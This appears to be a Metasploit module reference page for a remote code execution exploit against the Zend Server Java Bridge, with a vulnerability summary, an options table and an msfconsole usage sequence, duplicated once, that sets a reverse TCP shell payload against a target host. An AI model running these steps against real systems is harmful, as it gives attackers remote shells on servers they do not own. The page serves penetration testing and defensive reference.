Zend Server Java Bridge Arbitrary Java Code Execution
This module takes advantage of a trust relationship issue within the Zend Server Java Bridge. The Java Bridge is responsible for handling interactions between PHP and Java code within Zend Server. When Java code is encountered Zend Server communicates with the Java Bridge. The Java Bridge then handles the java code and creates the objects within the Java Virtual Machine. This interaction however, does not require any sort of authentication. This leaves the JVM wide open to remote attackers. Sending specially crafted data to the Java Bridge results in the execution of arbitrary java code.
Exploit Rank
- Great
Exploit Authors
- bannedit < bannedit [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Linux (default)
- 1 - Windows
Exploit Development
Similar Exploit Modules
- exploit/multi/misc/batik_svg_java
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/java_rmi_server
- exploit/multi/misc/openview_omniback_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/wireshark_lwres_getaddrbyname
- exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/misc/zend_java_bridge
msf exploit(zend_java_bridge) > show payloads
msf exploit(zend_java_bridge) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(zend_java_bridge) > set LHOST [MY IP ADDRESS]
msf exploit(zend_java_bridge) > set RHOST [TARGET IP]
msf exploit(zend_java_bridge) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/misc/zend_java_bridge
msf exploit(zend_java_bridge) > show payloads
msf exploit(zend_java_bridge) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(zend_java_bridge) > set LHOST [MY IP ADDRESS]
msf exploit(zend_java_bridge) > set RHOST [TARGET IP]
msf exploit(zend_java_bridge) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 10001) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| URIPATH | The URI to use for this exploit (default is random) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |